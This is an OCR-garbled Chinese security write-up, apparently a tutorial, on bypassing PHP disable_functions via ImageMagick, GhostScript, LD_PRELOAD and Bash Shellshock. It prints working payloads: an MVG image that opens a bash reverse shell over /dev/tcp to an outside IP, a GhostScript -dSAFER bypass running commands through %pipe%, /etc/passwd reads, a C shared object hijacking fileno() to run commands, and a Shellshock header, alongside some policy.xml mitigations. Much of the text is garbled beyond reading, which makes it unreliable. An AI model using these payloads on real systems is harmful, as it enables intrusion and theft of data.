KT, & AE POC T, BETH =47, 5 TR hups M3 url, FHRRAZIITH@S.

push graphic-contextviewbox 0 0 640 480fill "url(https://evalbug.com/"|ls -1a") pop graphic-context

HIVER A AIX R SO, JEZRMUR png, S8 _EAEEIE T EA& ST AT .
EREB=RI

Fe T ENERE
FALIP: 192.168.248.141ImageMagick AN : ImageMagick-6.7.9-10 H4/E RS : CentOS 6.5

IXAVIEAE 2 iﬁﬁﬁfmﬁ/‘]f%ﬁ, MG T M E R AN demo, 5T image.php, ﬁfﬂi%i?ﬁﬁ/‘]@ﬁ‘, B4/
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i | O 192168 248 14) o @ F TP 2w 9 O

B A RIS

[—jc"’pnt

// Location to upl ;i main _:rJJ-'.-:

Sma:.nD:.r = S S‘-‘RV‘ER[ UMENT | I''].'/imagesa/l/"s

Location to create *.':“.cl thumb image:

Ssmalmr = § SER VER[' MEN 3 ok e 1 b

// Command to use: /
St:omand - r/] bir t': J/IRIE RN RV

f Thumbnail width:

$size = 2

MJE‘Z".‘ sure we have an image:
Bif (isset (5 _POST(['submit'])){
Hif(§_FILES['photo']['tmp name']) {

Sname = $§ FILES('photo']['r L

Suploadfile = $mainDir . Sname;
|move uploaded file($5 FILES|'photo']['tmp name'], Suploadfile);

$lrgImg = $mainDir . $name;
$smlImg = $smalDir . $Sname;

S$imageMagick = Scommand . " '". SlrgImg . $size $smlImg . """;
shell exec($ imageMagick)

[ [ eXe 'f-:l"UJ Magick) ; — \
H)

header ("L image.php")

exit; =E b rmijll. =
jealse | = [0 Sl =7
F2>

Hag 2R i A imagemagick EA 1Y convert a4, BEEMGFEI T —> linux 7%, R0, i php 1 shell_exec AT, HLIFEA
M# imagick 28, FTLAANTEREL4E php-imagick 1.

ORI B A b2k 28 F e 1] o
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i C @ 192168248141 & @ N

T, BRI pocpng T o

Tad) A RS Y Edhn BEL) BRM S0 @ e Bw

HE 3@ A%l DO2c ay aa - & Filea @ = =
1 see. mmell
push graphic-context
viewbox 0 O 640 480
£fill "url (httpas://evalbug.com/"™ |bash =1 >& /dev/tcp/47. 200/8888 0>&1")"

P graphic-context \

TEEPA T B HEUR S shell 2R AT R 5 45 1] 8888 i 1

L X | O 192168048 141 @ TP cdw @0 . .* .

U7 b b, RS AR TS 8888 v K T, DUE —ELENE T

FTLAER], S shell I, 4T LABIHIAAT ~

ﬁ?”@iﬁiﬂﬁﬁ/ﬁ\lﬁ, PRIX AT 25 2 B shellexec TS THIFRAE R SE convert ﬂ‘ﬁ/‘v\, £ 7 B4 disable_functions?!!
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X P EARE ISET disable_functions 1F A3 1AL XCHE Y -
L AZHEIR AR Y imagemagick;
2. L4 php-imagick 1 EIFALE php.ini R ;
3. 9’5 php 1L newlmagick XT5 BT s RAL RS J1 45 A CHF 5

ViR LEEC BRI, ELE S BRIl & & Loy, X ] AZEId YRR Imagick ZE5R 42 FhE A3 T i, UG AN E
RS e , imagemagick SARCLIZ R B SR B & api Jrikak e s R EE R php ARG 5 i A A T I B AT OR AL ST

REAHS T -
Scode = new Imagick( "EEEEFIEES'");
f$codePro = fcode->getImageGeometry();
fcodewidth = fcodeProf'width'];
ScodeHeight = ScodePro['height'];

ScodeLogo = new Imagick( 'HEEREE" );

f$codelLogo->thumbnailImage (300, 300);

fcodeLogo->roundCorners( 300, 300 ); // radic HSILE

fcode->compositeImage( ScodeLogo, imagick::COMPOSITE_DEFAULT , ( Scodewidth - 300)/2, (
ScodeHeight - 300 )/2 ):

header ("Content=-Type: image/{$image->getImageFormat()}");

echo $image->getImageBlob( );

A LA 21 LA J50A 75 A0 shellexecs system exec JX Ff &7 SR 2% (9 40 31 U5 =0, BT LUK 3t 72 A1) ] imagemagick 283 disable_
functions V7, #F TRXMRASAETFHEI T, A2EBH/MEEE O T ~
GhostScript
(1) GhostScript &/

Ghostscript /&K Adobe PostScript 1 5 WARRE SR . FIXS PostScript 1 5 UE/ T4 18, 3275 PS 55 PDFR AAHFER. HAT K4
Linux KT EBBRIN L2 o

GhostScript H S ImageMagick 56 RAEH B, GhostScript #1772 I 7 AMERE R, A1 ImageMagick~ Python PIL %%, Bk
IO T IR LE R AR & B N AR R AR AR 3, et 8245 GhostSeripte

VLIX 24 S Ama W, FRATE T ImageMagick B W& B AV o

ImageMagick A2 38 (https://imagemagick org/script/formats.php)
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https://imagemagickorg/script/formats php

L2 | QINGTENG

EPDF RW  Encapsulated
Portable
Document
Format
EPI RW  Adobe Requires Ghostscript to read
Encapsulated
PostSeript
Interchange
format
EPS RW  Adobe Requires Ghostscript to read.
Encapsulated
PostScript /
EPS2 w Adobe Level ll Requires Ghostscript to read.
Encapsulated
PostScript /
EPS3 w Adobe Level Il Requires Ghostscript to read.
Encapsulated
PostScript = s

FIT LAY ImageMagick AbFREILAF 12 Fik s SRR, W GhostScript EEfTALFE : EPI. EPS< EPS2+ EPS3. EPSF. EPSI-
EPT+ PSv PS2v PS3. PS4+ PDF.

(2) GhostScript I

Feam BEILEINE - EOMR -
2018/1/5 2018/1/5 v Meltdown(iZ82)#NSpectre (il 2)iE

2018/1/11 2018/1/12 7 JackSon-databind&spring RCERER

2018/1/31 2018/1/31 " PHP libgd DOSTR

2018/4/18 2018/4/18 v Weblogic Rt ( CVE-2018-2628 )

2018/5/25 2018/5/25 v Hadoop YarnSHS B REEAEELhSHRR

2018/7/18 2018/7/18 v Weblogic BRI ( CVE-2018-2893 )

2018/7/25 2018/7/25 v Jenkins#EHFEF MRS £ MIEM ( CVE-2018-1999001)
2018/8/15 2018/8/15 v Microsoft Exchange Server iR CIBIVTIE ( CVE-2018
2018/8/22 2018/8/22 \ Struts 2 ER{CES I TIM(52-057)

2018/8/22 2018/8/22 v GhostScriptib#ibis ( &S ) W8

2018/9/12 2018/9/12 v IBM WebSphere Application Serveriid@tE3 i Tiis CVE
2018/10/18 2018/10/18 v Weblogic B2F2U{ERE ( CVE-2018-3245 )

2018/11/22 2018/11/22 J\GhmtScripmm ( @ SiviT ) EV11

281216 2018/12/6 v Jenkins BRUSIEMBRN . 7)o

KT GhostScript FUiRTH, FEXRFMAREME, TR TATME, 2% ibfstidarSdTini.

Hednist 2018 4F 8 H AR b £
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8§ H 21 H, Google YW T
I SAFER L4 VPAH, MG BT 2407
W BN False

SO ST R4S

% LockSafetyParams , MM SAFER 53,

SOMIRRA : version <= 9.23

XA FAER, FATE T GhostScript i & A THIF]

BRI E L2, BIANE T -dSAFER 24,

IR 4

$ gs -q -sDEVICE=ppmraw

GS>/buff 1024 string def

GS>/file_obj (/etc/passwd) (r) file def
GS>file_obj buff readstring

GS<2>buff print

BRI, ZP XN passwd ST o

root@YouXiu
GS>/buff 1024 string def
GS>/file_obj (/etc/passwd)
GS>file_obj buff readstring
GS<2>buff print
:root:/root:/usr/bin/zsh
daemon.x.l.l.daemon./usr/sbln./usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

(r) file def

avis Ormandy %4 I 21> GhostScript HIi ,

TR Fr HP LS TR PostScript JIAY, TILAZE
Fimi, HARAJRE R GhostScript AT restore M &), SB[ 42

X B R SO

gs -q -sDEVICE=ppmraw

games:x:5:60:games:/usr/games:/usr/sbin/nologfy EMLRE

SAIE TR AR, TR0 -dSAFER

roo Xiu gs -q -sDEVICE=ppmraw
GS>/buff 1024 string def
GS>/file_obj (/etc/passwd) (r) file def
Error: /invalidfileaccess in --file--
Operand stack:
file_obj (/etc/passwd)
Execution stack:
%interp_exit
--nostringval--
tringval--
Dictionary stack:
--dict:721/1123(ro) (G)-- --dict:0/20(G)--
Current allocation mode 1s local
Last 0S error: No such file or directory
Current file position is 33

(r])

.runexec2
--nostringval--

--nostringval--
false 1

H2E R EATT AP TS, — R, iRz

LARMAT LN, XIS
R LR,

FATEN A test.php 3L, P

280, IRIAER 2 A g
-dSAFER

--nostringval--
%stopped_push

Aok T A B

invalidfileaccesso

--nostringva
.runexec2

--dict:76/200(L)--

R s

SUB EAESCTERIRE S, TLAMINY 2

A8 2 GhostScript ALFRSCPFRIRFRERIA 2 5 e P FEN ¢
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<?php
$img = new Imagick('/root/disablefunc/1l.xps');

2>

[F5 7 B — N SOPE (2 php—hnagkk.ﬂﬁﬂ@)a
WRYE S AZ, FATHRERAIE—D 1xps UM, IXFRFEEEAI SO A BELL imagemagick 7 A GhostScript #1740
FMTIREE— T KRG

strace -f php test.php 2>&1 |grep -C2 execve

Y strace -f php test.php 2>&1 |grep -C2 execve
("/usr/bin/php”, [“php", “test.php”], Ox7fffdedalcb® /* 26 vars */) = 0

brk(NULL) = @x55fe8379b000

access("/etc/1d.so.preload”, R_OK) = -1 ENOENT (No such file or directory)

[pid 4142] waitd (4143, cunfinished

[pid 4143) set_robust_lis 0x7‘37?509J960 24) = 0

[pid 4143) (“/usr/local/sbin/gs"”, *, "-sstdout=%stderr”, "-dQUIET", "-dSAFER", "-d CH", “-dNOPAUSE", "-dNOPROMPT", “-dMaxBitmap
AlignToPixels=0", "-dGridFitTT=2", W \ yha", "-dTextAlphaBi , “-dGraphicsAlphaBits=4", "-r72x72", "-gl152x720", "-dEPSCrop”,
mp/magick-4142-al”..., "-f/tmp/magick> TMzZUM , "-f/tmp/magick-4142b3AeQelZUxdu”], 0x55fe837ace70 /* 26 vars */) = -1 ENOENT (No su
tory)

[Ll.d 4143] (“/usr/local/bin/gs“, ["gs", “-sstdout=%stderr”, “-dQUIET", "-dSAFER", "-dBATCH", “-dNOPAUSE", O Ra oy mgmasﬁ
lignToPixels=0", GridFitTT=2", VICE=pngalpha”, “-dTextAlphaBits=4 ".dGraphicsAlphaBits=4", “-r7 " % c 7%%3& e
p/magick-4142-al"..., "-f/tmp/magick-4142D7MzUMDbNcpW”, “-f/tmp/magick-4142b3AeQelZUxdu”], 0x55fe837ace70 / /) -1 ENOENT (No suc
ory)

RAHIR, php TS T gs RALEE, BHEEM 7GR 2IPAH) -dSAFER 24

SR AT T U (5022 Vb AR SR i, IR 42 8 A BRI W ¢
MRAEHE, Zend AT
HARAJFEFZ GhostScript AT restore AT, 2 BIPE S 4L LockSafetyParams BN False, MIMIEH] SAFER #5.
IR AFATHINE poc /B ARERINE 2 IAEHNA , FRATFHZAMIEI T AZ poc.png, jpeg FIRAT, ARG LAEHATHIA

%!PS

userdict /setpagedevice undef

legal

{ null restore } stopped { pop } if

legal

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

convert poc.png poc.gif 16: 49 01
6: attempt to perform ar peration not allowed by the security policy P

0 images defined poc.gif' @ error/ ert.c/Conve ageCommand/325
he policy ghost )
ghostscript:
Installed:
Candidate:

/kali kali-rolling/main amd64 P ages g Lol =
ali kali-ro ng/main am . ‘iﬁi' A Eﬁ?ik:ﬁfijii
4 16:49:14




O_INGTENG | TR
flif#E4: apt-cache policy ghostscript

B T ghostscript A, RIAKH 72 9.27, HETARRFEL WA 9.23 S LUT, R LA< IHRA, ITER A
HITRATRICR -

rootd in ~ [14:50:24]
$ poc. jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

root@ in ~ [14:50:29]
$ poc.jpeg poc.gif
uid=0(root) gid=0(root) groups=0(root) %ﬁﬁigﬁi
convert-im6.ql6: FailedToExecuteCommand " 'gs' -sstdout=%std

RCRARE, W0 A sl P R A B85 imagemagick F T ghostscript HEATAR PR I 5 AL SR AT I O o
W TAEEXE, AR A SRR A RO A AR R -
AR 2 ¢ BLUF IS8 disable_functions WE 227
AEHEZ, THERIBIT AR
imagemagick+GhostScript 81} disable_functions

TSRS BT, TR IS &R LD_PRELOAD 481 disable_functions, NI FI A 12 imagemagick 1 GhostScript 28 £ 1]
Jithe

M SRIFACAET BB T Bl AR imagemagick FH GhostScript, #RFATFT LAZEH disable_functions, JX#L/E LD_PRELOAD JiIf¥
{NYZE 2 [

T BN AR RS 4FE TCTE2019 WallBreaker-Easy F)—1EMUH , FKIXIUNG A, X EFENE T,
(1) HARIAEL

BE RS Kali2019.2php MUA:  php 7.3ImageMagick A 6.9.10.23+dfsg-2.1GhostScript A 9.27~dfsg-1php-imagick A 3.4.3

25 FH R symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pentl_exec

RS R LS A, U IR Y2 debian &RIW kali, ImageMagick F7, %% php-imagick [1% apt-get install php-imagick —4#
WA, HARMABRNE RG AT LA B AT TR 204

NI AE T A B OISR, 2356 LUS, phpinfo S22,
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| @ 192.168.248.174:8854/phpinto php LAl R N

PAE ML ¢ X2 writeup, G1FARR 5.
TCTF2019 WallBreaker-Easy 4T (https://xz.aliyun.com/t/4688)
{7 BMERE — N RO AL 1 B ER
L RATROZAEN A ept JEZCIFAI— DI IFIF Y so 3015
2. 3RS — php XHiEIT puteny BEEEL LD_PRELOAD fiN#i% so
3. 34 php BN Imagick XTGRAEZ ept SCHF, LI 1T %5 4% imagemagick 23 ] ghostscript AR Z S BE(TAL

4. TR so SCAF SR AR T EH 1% T ghostscript IS TIE R H 25/ HIHY filush J5¥5, FAPEABSATHIA B N7
HHRRESE I AT L P THTRCR

T EAPRE BT,
(2) E3 ()
WA R HE, FATTRNE:
1.ImageMagick 1B HE 4t Imagick ZEFIA AL AP 48 L 7 819 5 ik php RERS TR & FHSCHE
2. MALFRFILAF 11 A A SO, TmageMagick 233 F GhostScript PEBH TAbFE .
EPI EPS EPS2 EPS3 EPSF EPSI EPT PS PS2 PS3 PS4 PDF

BTN A BN EE AL BRI IERR YIRS 1 EPT A%, 45 MR i T TR ImageMagick t T2 2% &, BRIAEE
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1B T — R I 44430l GhostScript AEFH
BY—THAMBHTFRLER , A 1nagemagick BRIAKLLTEA o
B . : o1, EXRENTF:

<policymap>

<policy f2
<policy r f [
<policy /2
<policy r e X I>
</policymap>
o] AR —EHEIENEE GRS erT  xps RIS
8 erT FABEKT.

TmageMagick H J7 HRl/& 6 2 7 KD IHTH KN, BIEEL!
U2 6 & ImageMagick, X CHIMIAIE 6.9.10.23+dfsg-2.1,
SO, MRABEAEE R GhostScript 463 PDE EPI 46 J5 28 SCEF I A#IA

FrAFR{] EmAZ

FC S /etc/ImageMagick-6/policy.xml,
LREEERAE DD Jetc/TmageMagick-6/policy.xml I, F& & BLACE

_'AI—I-—l—r i _‘ ot

==/

.4ﬂ,m

WHIEE A

K BEMNSEE TN TmageMagick HUAMNEHT, IELE JTHY github & T

N 6.9.10-23 WA & FTHT ]
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& #&% | hitps//github.com/ImageMagick/ImageMagickt/releases?after=( f

M

ImageMagick / ImageMagickt © Watch~ | 5 o Siw

<> Lode & 4 equedls 0 acls 0

Tags
m o

6.9.10-25

6.9.10-24
\ 6.9.10-23

6.9.10-22

<

6.9.90-21

<

6.9.10-20 Sh

O

WIRFTI, 2019 4F 1 I AATHY (ARBREG RIS 2019 4F 5 ), MEEIX 4 T H Z KA 7RIS ¢

AT F github EXT policy.xml FJFE o
policy. xml(https://github.com/ImageMagick/ImageMagické/blob/d7ebac2a1dfdb5c3550f787641
fa54859afec6e7/config/policy.xml)

hitps.//github.com agehlagick eMagicki/t bac2aldidl {7764 11a54 afect T Xl G
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IR A SN PDE EPL EZE ST B R

AR IR, ImageMagick ALFRLL EJF 2001 GhostScript 4LFR , [AJUHIE GhostScript &, HRI Y GhostScript 162 il ,
AT 2L ImageMagick 1A E LAY 20 A I— B 0E « X EB ST 2R PDF F PS JRZSLHF T/E 4702

AR 23X BERC B 6 2 R HIWE ¢

WRARAE L JLIR GhostScript YDA SR a2 P TIR AR 5, RELF00E, IX D REFIXT ImageMagick+GhostScript ZH6HE H
RIS, A 24 GhostScript B 5 H A HER AN T FIEE A, BT LA REIE I #1%k GhostScript B ] _E RS i Y

7 HRIE_ B o

LR ST ES

AT EAE MR RAAANT, TR U iR s R p—A

1.5, GhostScript

A Ubuntu ##E90], Tl R4 LAHIER GhostScript:

sudo apt-get remove ghostscript

24224 ImageMagick ] policy “cff, EIA{LE# letc/imageMagick/policy.xml, &
<policymap> IMALLTF <policy> (Ei%%f] PS. EPS. PDF. XPS coders):

<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

</policymap>
W7, XEGRER R, BARIERAE IEHRYE, IRMETR, URAEH & N EAMER A pdf XM, A TS G Y
JIAGIRRZC:, B istT, A2 MBS, UL pdf SCH A S BMEATRR .
<?php

$test = new Imagick('1l.pdf"')

2>

g, B EA NFTRES U X ATRER I CTF 8 H PMEIRE R, HEERGIR. 17, ATt B A FRl .

nwuwunn

i nnn

R SELRE

5o TICymaps
"/etc/ImageMagick-6/policy.xml" 94L, 4463C

FHEAT— T LI php, RO, ZRT LM, pdf CIFTCEALH
t 09:05:20

Ko SELHE

SIG(127) ~ 4 09:05:21

BURE, SRR, R EPT A TR T

TUBH— R OEEXAIEREDA ps crr xes KIXH , BRI EEASONS tnsmnn
B T SAEXRTY, - hIJ Pl 22

X —TFEE I — kRS, GhostScript 7] LAGFR 11 i 528085 S0
EPI EPS EPS2 EPS3 EPSF EPSI EPT PS PS2 PS3 PS4 PDF

X HFRE T PDF EPIXPS Fl PS , 75 K1 HL A DU ACAL AR M DCRC A A RESC BB AS, IXRERt R EPT SUHF T, TR HEIFHE
HIA TS 2



KE T A RN php BB REALL, FHHEIE T4 ps. ps2 55

<?php
$test = new Imagick('1l.ps’);
$test2 = new Imagick('1l.ps2');
$test3 = new Imagick('l.epi');
var_dump($test,$test2,$test3);
2>

SRR

root@YouXiu php index.php
object(Imagick)#1 (0) {
}
object(Imagick)#2 (0) {
}
object(Imagick)#3 (0) {
}

Ko FELRE

hn_k pdf it

<?php
$test = new Imagick('l.ps’);
$test2 = new Imagick('l.ps2');
$test3 = new Imagick('l.epi');
$test4 = new Imagick('l.pdf');
var_dump($test,$test2,$test3,$testd);
?>

FLIEARAE, #4AETE PDF.

438
2

SR %R

RLHFT | ONGTENG

09:18:08

il policy.xml HHYERBRRBIR] T pdf 300, X E X BoA RS . A ANATREB/R AR EBE T Imagick X RME, HiE

FEG| FHRIIE psy ps2+ epi X LKA AT RERE 2 A BRAI T o

WGP XA, FREREE DR AEFRAT demo M, FIH ImageMagick ¥4 epi M FEHR AL ept 1550
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change.php

<?php
function epi2ept($EPI,%$Path){
if(!extension_loaded( imagick®’)){
return false;
}
if(!file_exists($EPI)){
return false;
}
$IM =new imagick();
$IM->setResolution(120,120);
$IM->setCompressionQuality(100);
$IM->readImage($EPI);
foreach($IM as $Key => $Var){
$Var->setImageFormat('ept');
$Filename = $Path.’'/’' .md5($Key.time()). ' .ept’;
if($Var->wuriteImage($Filename)==true){
$Return[]= $Filename;

}

return $Return;

1
J

$EPI = "/root/disablefunc/test/1.epi”;
$Path = "/root/di blefunc/t B
epi2ept($EPI,$Path);

2>

SRIG, SR Lepi U, #EEIBIT change.phpo

pt@YouXiu mkdir test
mv l.epi test/
cp change.php test/
cd test/
11

14M May 13 14:16 1l.epi

699 May 14 09:29 change.php
vim change.php
php change.php
11

“TW=-r-=-r-- 14M May 13 14:16 l.epi g;g%
“rW=r=-r=-- 14M May 14 09:30 789801528de23a533bd756f46d6cb7ds Wp?
-rW-r--r-- 709 May 14 09:30 change.php

AT, HRTH T2 H T ept AP, WHIRESE R epi £ ept AL
A8 2ix B E]T GhostScript 7 M 2 fREE— T &M A

strace -f php change.php 2>&1 |grep -C2 execve
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09:30:53

HI T % GhostScript Tl ImageMagick —£EFREMNHRARADIFL, X B KA T ImageMagick H policy.xml Fi &I AE5E
R, ATREAEH SR, AT REAE GhostScript AN[FARAHI R AR, A0 RA FIE H)/ MAFERRBUT IR IX B A5 SR RE R ~~

HAEMEEKREZ T, BIMADE A A ESEIR php 45 disable_functions %%
(3) B (H)

W, BIXEIRNHLAE T, BT RS ept SCHEAR, ps~ epi N EE (R L ImageMagick 3 FH GhostScript =
TR FATEAELL ps SCHEABNER— T T -

HRERAFTEAE LD_PRELOAD, HLERIE GhostScript HUA MRS58, BEMTM Bt AT LA i /Y R 5

readelf -Ws “which gs’

readelf -Ws “which gs

Symbol table '.dynsym’ contains 23 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 © NOTYPE LOCAL DEFAULT UND
0000000000000000 ) OBJECT GLOBAL DEFAULT UND stdout@GLIBC 2.2.5 (2)
0000000000000000 FUNC GLOBAL DEFAULT UND gsapi_init_with_args
0000000000000000 FUNC GLOBAL DEFAULT UND gsapi_new_instance
0600000000000000 OBJECT GLOBAL DEFAULT UND stdin@GLIBC _2.2.5 (2)
0000000000000000 FUNC GLOBAL DEFAULT UND gsapi_delete_instance
0000000000000000 ) FUNC DEFAULT UND fileno@GLIBC_2.2.5 (2)
0000000000000000 FUNC GLOBAL DEFAULT UND _ stack chk_fail@GLIBC
0000000000000000 FUNC GLOBAL DEFAULT UND gsapi_run_string
0000000000000000 8 FUNC GLOBAL DEFAULT UND fflush@GLIBC_
0000000000000000 © OBJECT GLOBAL DEFAULT UND stderr@GLIBC_2.
0000000000000000 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5
0600000000000000 FUNC GLOBAL DEFAULT UND gsapi_set_stdio
0000000000000000 FUNC GLOBAL DEFAULT UND gsapi_exit
0000000000000000 ) NOTYPE WEAK DEFAULT UND _ITM deregisterTMCloneTable
0000000000000000 FUNC GLOBAL DEFAULT UND _ libc_start_main@GLIBC_2.2.5 (2)
0000000000000000 ) NOTYPE WEAK DEFAULT UND _ gmon_start__
- NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
}: 0000000000000000 © FUNC GLOBAL DEFAULT UND fwrite@GLIBC_ 2.2.5 (2)
0000000000004080 © NOTYPE GLOBAL DEFAULT 24 _edata
0000000000000000 FUNC WEAK DEFAULT UND _cxa finalize@GLIBC . P loE
0000000000004088 NOTYPE GLOBAL DEFAULT 25 _end ﬁ Eﬁje&;ﬁi
0000000000004080 NOTYPE GLOBAL DEFAULT 25 bss start

M =

ohun W

FORE BT BT A T B AU flush, BBCA U EARE R, X BIRIA EHESE yangyangwithgnu KAERTHEE
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BT RN RE I R RBT R IRATE R I —k, MU —8, Mg 2tk RS T2H EHE AN RS
BIK, RREBURIRIESESIX AP HRENX 246151, AR S EU BT Lo
X PFRAE WA fileno() TiHE flush()

WA man 7 T —F, Z2H0tA%, MHAEZR.

rogrammer’ s

clearerr, feof, ferror, fileno - check and reset stream status

SYNOPSIS
#include <stdio.h>

void clearerr(FILE *stream);
int feof(FILE *stream);
int ferror(FILE *stream);

int fileno(FILE *stream);

Feature Test Macro Requirements for glibc (see feature_test_macros{?!}:

BREERNE

fileno(): _POSIX_C_SOURCE

FMTEIEE—F > c IR SCF

hack.c

<stdlib.h>
<string.h>
void payload() {
const char* cmd = "echo 'Meetsec just test!'";

system(cmd);

}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return ©; }
unsetenv("LD PRELOAD");
payload();
}

WAARD, FEAVEHBUZEI T HH “Meetsec just test!” IXAJIEIIER -
SR IR

gce -shared -fPIChack.c -o hack.so

BTSN php

test.php
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<?php
putenv('LD_PRELOAD=/root/disablefunc/test/hack.so");
$img = new Imagick('/root/disablefunc/1.ps"');

?>

ey, FANsIT—F, JERE, RIREE Imagick X GAIHEI T gs f1d, SEE T ATAEE so, PATIRATA echo o
root@YouXiu php test@hgﬁmﬁz

Meetsec just test!

b7, AR E B shell B9 co

payload() {
* cmd
system(cmd) ;

fileno() {
if (getenv(
unsetenv(
payload();

XHEFE—T, AAMEH bash -i>& X FHFRIART 54582 B SO shell, 200, HEGMEH ne -e SO ( B2 2 E FEHLLFF ne
-e)o

HIFN so, TF php MM, RIEEBIT—F.

BN nice, SCERLID, M5 LURIIIAAT 1

A R S 7 3R TR AT B

1 _EESRIEL T so, RIS EPITAIM S ;

2. EA% php SCHF, IS so FAE php H{# ] Imagick BIEXTRALI ] GhostScript FEAREALEERY 11 T JE 2842 3CHF
3. LARFF & BEORIG S A IS

4. FBhsaiZ php il 60T ;

103
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XHEARRMETR T, BOGER A H Ol ~~

HRBFEEEAH LS, WInFIH pa

ions FIEHARIEHIERH L ~

Bash Shellshock

e 2RI, CVE-2014-6271, 52 bash 3.0 1 4.3 WA M4

MK kali B9 bash AR 5.03..... FTLLUERAEZEEINT .

AR AT bWAPP HUEE BRI X RIS I, BrUAFATME T, B bWAPP HYFRIEEF 1o

EOETERSE R [, #RE] php.ini, ¥ disable_functions JF i web HR55 o

2.168.248.1) o @ tPrco o4

& Lwagj oot Phew boa Xibw

T T IAT S@Een WW S

rpmmm

Ce-" B- 0RO & LO-0-A- 49 U0 @ @-M- O
Syvem -lr\u\ bee-tou 1AM 16-geere #1 UJ- B B
SubdDme ebzacewzrss |
|Sarver APL  [Apache 10 Hardler » | =S
Wrtual Fuatind]
Directary
| Buppon
Condbguratsos /e10/ph g el
| Fda (phgind
L
L oaded fwta g mpache g aw
Camtuguot 0 vt
Fia
= e -
| Semn this il |/t Sphep' b e ool
tor addrnaral
| e fiken

additional ni Setc phgiapachedicont digd el frtc
s parved  |/eic/iphyiapached foond.dimymal ind, 4
St g apac b 2 foond dypdo.ni frtd

PHP
| Eaterriesen

X LA R A H

/etc/init.d/apache2 restart

EARYME, BE&EnLiT.

. o TP 20 08 ~ (
Lonmiguration
PHP Core

C Cormcnine | Local Vahen | Masater Vaboe
.h_l‘ _ et reterence
Mo ol Sapan
gl “ " m
ahmayy prpulete rew post deta Off
PR saparEtIs arga x ~
g separatar outpnd 5 &
np_tngs i o
wte oppend file 0 rober o0 roker
et ottt .
sta prapend fis S
.m A b
PR - S ada |IEX
detat mmetyps  enibnt T
_l_h__ﬁ‘m . l L e
Aorasie clanees 2o i |7 e -+
deralele burmmems 0 BN S e, e it dhee] mwe pogEen pets Spen e ke ot ewe il il eve puontl sve imiad st w0 f iy NI reen paae whedl e puigems, PR LA S e adee 1T
' ——— Tow B : — ;
“’r et et .'. - .-,'I'|

SR —TF, poc AN
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() { :3}; echo $(/bin/cat /etc/passwd)

Target | Provy | Spider | Scanner | Intruder Sequencer | Decoder | Comparer | Extender | Options | aerts |

fs. E_, |
[0 ) comet <iv) >r Tegee Mgt sen 30 0 (58} )

Request Response
Params | Headers | Hex | -Mlmlm]m|

GET /foWAPP/cgi-bin/shellshock.sh HTTR/1.1 HTTP/1.1 200 OK ll
Host: 192.168.248.130 Date: Tue, 14 May 2019 04:02:40 GMT
Proxy-Connection; keep-alive Sonr A.padlcRJ 8 (Ubunm) DAV/2 mod_fastcgi/2.4.6 PHP/5 .2 4-2ubuntu’

Cache-Control; max-age=0

User-Agent Mozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 | mctmmnm
KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 daemon: xc1:1:daemon Jusr/sbin:/bin/th
Upgrade-insecure-Requests: | bin: xc2:2:bin:/bin/bin/sh

Accept ty1: x:3:3:5yv/devi/bin/sh
text/html,application /xhtmi + xmi spplication/xml.q =0.9.image/webp.image/ap sync: x:4:65534sync/binbin/sync
ng.*/*q=0.8 games: x:5:60:games:/usr/gamaes:/bin/sh
Referer: () | ) echo $(/bin/cat fetc/passwd) - man: x6:12:manz/varfcache/man:/bin/sh
Accept-Encoding: gZip, deflate |'p: x7:TAp/var/spool/ipd:/in/sh
Accept-Language: zh-CN zh:q=0.9 mail: sc8:8:mail:/var/mail:/bin /sh

Coclde: PHPSESSID=077429d4d5 | fef403dcE40b3278ccdbb; security_level =0 news: x9:3:news:var/spool/news:/bin/sh

wuep: x:10:1 Qiuucp:/var/spoclfuucp/bin/sh

prosy: x:13:1 3:proxy./biny/bin/sh

www-data: 533:3 3:waww- d atac/var/wwwe/bin/sh

backup: x:34:34:backup:/varbackups:/bin/sh

list: x:38:38:Mailing List Manager/var/list/bin/sh

irc: )c3%:3%ircd: /var/run fired:/bin/sh

gnats: x41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh
nobody: x65534:65534nobody:/nonexistent:/bin/sh

libuuid: x:100:1 01 :/var/lib/libuuidy/bin/sh

| syslog: x102:103z/home/sysiog:/bin/false
klog: x:103:104:/home/klog:/bin/false

SEAT LA, IR AR php (1 disable_functions FRAIASE J5 3 1 bash Z14F-
BRI R AT AZZE R 2 55 1 bW APP R, BLAL R , 105 E ST A LAS IR R php.ini L&, A0 — 2630 H 25 H 4
2516

HE IR IR K 22 7E TmageMagick 204 &, IX MR php NG RERETE H N £ k48, Xt &R A1RE CTF B H ARk
php+ImageMagick FJZH 5
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223 php B9 disable_functions ( &)

R EEYHR TR PGS B LD_PRELOAD S5 REREL, 1@ MHCEE so BEIAT RGE M IIRCR

TR ERE L BRI N BB 73 o T e
a2 IR (imagemagicks  GhostScript F1 bash shellshock)

BUETTHIRE TR IVERE, ARIEREARES 58, BEMLERMILANL T, AL IER ILEHE R EA X B A LN 4

Apache+mod_cgi+.htaccess

TEA A AT yangyangwithgnu FIAFES ToiF sendmail: 5 LD_PRELOAD 5 disable_functions M@ MAH ARG BLHT—FhigH
XTI SN BT RS R, JRJG R RIFAE exploitdd EHLEA T THIIER poc, fE phps IFAUAT LABER & 4 KA.
BAEBNIARSZIH T

WL ER S

BE&R%:: centos Linux release 7.2.1511

ApachehfiA: Apache/2.4.6

PHPiRZA: PHP 5.4.16

EEFRRREN:
symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exe
c,curl_multi_exec,pcnt]_exec

AL PRI No package xxx available F 22354 i BB )
yum install epel-release
RIEHAERIA, ARG DA 2 LN 5t

